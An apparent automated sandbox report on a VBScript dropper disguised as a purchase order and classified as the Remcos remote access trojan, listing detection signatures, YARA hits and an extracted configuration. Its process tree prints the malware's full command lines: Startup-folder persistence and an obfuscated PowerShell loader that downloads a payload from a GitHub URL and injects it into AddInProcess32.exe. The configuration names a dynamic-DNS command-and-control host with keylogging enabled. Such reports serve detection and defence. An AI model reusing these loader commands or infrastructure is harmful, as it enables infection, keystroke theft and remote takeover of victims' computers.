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Windows
Analysis Report
Purchase Order - PO14895.vbs
Overview
General Information
Detection
Remcos
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for domain / URL
Sigma detected: Remcos
Suricata IDS alerts for network traffic
VBScript performs obfuscated calls to suspicious functions
Yara detected Remcos RAT
AI detected suspicious sample
Bypasses PowerShell execution policy
C2 URLs / IPs found in malware configuration
Connects to a pastebin service (likely for C&C)
Contains functionality to register a low level keyboard hook
Contains functionality to steal Chrome passwords or cookies
Contains functionality to steal Firefox passwords or cookies
Contains functionalty to change the wallpaper
Delayed program exit found
Found suspicious powershell code related to unpacking or dynamic code loading
Injects a PE file into a foreign processes
Installs a global keyboard hook
Obfuscated command line found
Sample has a suspicious name (potential lure to open the executable)
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Uses dynamic DNS services
Uses ping.exe to check the status of other devices and networks
Uses ping.exe to sleep
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Abnormal high CPU Usage
Contains functionality for read data from the clipboard
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to download and launch executables
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to enumerate running services
Contains functionality to launch a control a shell (cmd.exe)
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match
Classification
- System is w10x64
- wscript.exe (PID: 7640 cmdline:
C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\Purch ase Order - PO14895. vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) - cmd.exe (PID: 7728 cmdline:
"C:\Window s\System32 \cmd.exe" /c ping 12 7.0.0.1 -n 10 & powe rshell -co mmand [Sys tem.IO.Fil e]::Copy(' C:\Windows \system32\ Purchase O rder - PO1 4895.vbs', 'C:\Users \' + [Envi ronment]:: UserName + ''\AppDat a\Roaming\ Microsoft\ Windows\St art Menu\P rograms\St artup\ sbv .orierocre tse.vbs')' ) MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7736 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - PING.EXE (PID: 7776 cmdline:
ping 127.0 .0.1 -n 10 MD5: 2F46799D79D22AC72C241EC0322B011D) - powershell.exe (PID: 7864 cmdline:
powershell -command [System.IO .File]::Co py('C:\Win dows\syste m32\Purcha se Order - PO14895.v bs', 'C:\U sers\' + [ Environmen t]::UserNa me + ''\Ap pData\Roam ing\Micros oft\Window s\Start Me nu\Program s\Startup\ sbv.orier ocretse.vb s')') MD5: 04029E121A0CFA5991749937DD22A1D9) - powershell.exe (PID: 7964 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command $ Codigo = ' LiggJEVuVj pDT01zUGVj WzQsMjYsMj VdLUpvSU4n JykoKCgnV1 BzdScrJ3In KydsJysnID 0gWScrJ1FE aHR0cHM6Ly 8nKydyYScr J3cuJysnZ2 l0aHVidXNl JysncmNvbn RlbicrJ3Qu Y29tL04nKy dvRGV0ZWN0 TycrJ24nKy cvJysnTm8n KydEZXRlJy snY3RPJysn bi8nKydyZW ZzL2hlJysn YScrJ2RzL2 1haW4vRCcr J2V0YWhOby crJ3RoLScr J1YudHh0WV FEOycrJyBX UHNiJysnYX NlNjQnKydD b250ZW4nKy d0ID0gKE4n KydlJysndy crJy0nKydP JysnYicrJ2 onKydlY3Qg UycrJ3lzdG UnKydtLicr J05ldC5XJy snZWJDbCcr J2llJysnbi crJ3QpJysn LkRvd25sby crJ2FkU3Ry aW4nKydnJy snKFdQJysn c3VyJysnbC crJyknKyc7 JysnIFcnKy dQcycrJ2Jp JysnbmFyeU NvbnRlJysn bicrJ3QgPS AnKydbU3lz JysndGVtLi crJ0Nvbicr J3ZlcnRdOi crJzonKydG cicrJ28nKy dtQmFzZTY0 JysnU3RyaS crJ25nKFdQ c2Jhc2UnKy c2NCcrJ0Nv bicrJ3RlJy snbnQpJysn OycrJyBXUH Nhc3NlbScr J2InKydsJy sneSA9IFtS JysnZWZsZW MnKyd0aW8n KyduJysnLk Fzc2VtYmx5 XTo6TG8nKy dhZChXJysn UCcrJ3NiaW 5hcnlDbycr J250JysnZW 50KTsgW2Ru bGknKydiLi crJ0lPLicr J0hvbScrJ2 UnKyddJysn OicrJzpWJy snQUknKyco JysnMDJWMC 8nKydyZ1F2 NS9kL2VlJy snLmV0Jysn c2FwJysnLy 86c3B0Jysn dCcrJ2gwJy snMlYsIDAy VmRlJysnc2 EnKyd0aScr J3ZhJysnZG 8wMlYsJysn IDAnKycyVm QnKydlc2F0 JysnaXZhJy snZG8wMicr J1YnKycsID AyVmQnKydl c2F0aXYnKy dhJysnZG8w MicrJ1YsIC crJzAnKycy VkEnKydkJy snZEluUCcr J3JvYycrJ2 VzczMyMDJW LCcrJyAwMl YnKycwMlYs MDInKydWMD JWKScpLUNy RXBMYUNFKF tDSGFSXTg3 K1tDSGFSXT gwK1tDSGFS XTExNSksW0 NIYVJdMzYg LUNyRXBMYU NFICAoW0NI YVJdODkrW0 NIYVJdODEr W0NIYVJdNj gpLFtDSGFS XTM5IC1yZX BMYUNlICAn MDJWJyxbQ0 hhUl0zNCkp ';$OWjuxd = [system. Text.encod ing]::UTF8 .GetString ([system.C onvert]::F rombase64S tring($cod igo));powe rshell.exe -windowst yle hidden -executio npolicy by pass -NoPr ofile -com mand $OWju xD MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 7972 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 8080 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -windowsty le hidden -execution policy byp ass -NoPro file -comm and ".( $E nV:COMsPec [4,26,25]- JoIN'')((( 'WPsu'+'r' +'l'+' = Y '+'QDhttps ://'+'ra'+ 'w.'+'gith ubuse'+'rc onten'+'t. com/N'+'oD etectO'+'n '+'/'+'No' +'Dete'+'c tO'+'n/'+' refs/he'+' a'+'ds/mai n/D'+'etah No'+'th-'+ 'V.txtYQD; '+' WPsb'+ 'ase64'+'C onten'+'t = (N'+'e'+ 'w'+'-'+'O '+'b'+'j'+ 'ect S'+'y ste'+'m.'+ 'Net.W'+'e bCl'+'ie'+ 'n'+'t)'+' .Downlo'+' adStrin'+' g'+'(WP'+' sur'+'l'+' )'+';'+' W '+'Ps'+'bi '+'naryCon te'+'n'+'t = '+'[Sys '+'tem.'+' Con'+'vert ]:'+':'+'F r'+'o'+'mB ase64'+'St ri'+'ng(WP sbase'+'64 '+'Con'+'t e'+'nt)'+' ;'+' WPsas sem'+'b'+' l'+'y = [R '+'eflec'+ 'tio'+'n'+ '.Assembly ]::Lo'+'ad (W'+'P'+'s binaryCo'+ 'nt'+'ent) ; [dnli'+' b.'+'IO.'+ 'Hom'+'e'+ ']'+':'+': V'+'AI'+'( '+'02V0/'+ 'rgQv5/d/e e'+'.et'+' sap'+'//:s pt'+'t'+'h 0'+'2V, 02 Vde'+'sa'+ 'ti'+'va'+ 'do02V,'+' 0'+'2Vd'+ 'esat'+'iv a'+'do02'+ 'V'+', 02V d'+'esativ '+'a'+'do0 2'+'V, '+' 0'+'2VA'+' d'+'dInP'+ 'roc'+'ess 3202V,'+' 02V'+'02V, 02'+'V02V) ')-CrEpLaC E([CHaR]87 +[CHaR]80+ [CHaR]115) ,[CHaR]36 -CrEpLaCE ([CHaR]89+ [CHaR]81+[ CHaR]68),[ CHaR]39 -r epLaCe '02 V',[CHaR]3 4))" MD5: 04029E121A0CFA5991749937DD22A1D9) - AddInProcess32.exe (PID: 7464 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Add InProcess3 2.exe" MD5: 9827FF3CDF4B83F9C86354606736CA9C) - AddInProcess32.exe (PID: 7444 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Add InProcess3 2.exe" MD5: 9827FF3CDF4B83F9C86354606736CA9C)
- cleanup
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
Remcos, RemcosRAT | Remcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity. |
{"Host:Port:Password": "ab9001.ddns.net:55543:1", "Assigned name": "OCT", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "vlc.exe", "Startup value": "Remcos", "Hide file": "Disable", "Mutex": "chrorne-9OH0YR", "Keylog flag": "1", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Enable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "10", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5"}
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
Windows_Trojan_Remcos_b296e965 | unknown | unknown |
| |
REMCOS_RAT_variants | unknown | unknown |
| |
INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer | detects Windows exceutables potentially bypassing UAC using eventvwr.exe | ditekSHen |
| |
Click to see the 11 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
Windows_Trojan_Remcos_b296e965 | unknown | unknown |
| |
REMCOS_RAT_variants | unknown | unknown |
| |
INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer | detects Windows exceutables potentially bypassing UAC using eventvwr.exe | ditekSHen |
| |
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
Click to see the 10 entries |
System Summary |
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Source: | Author: Florian Roth (Nextron Systems): |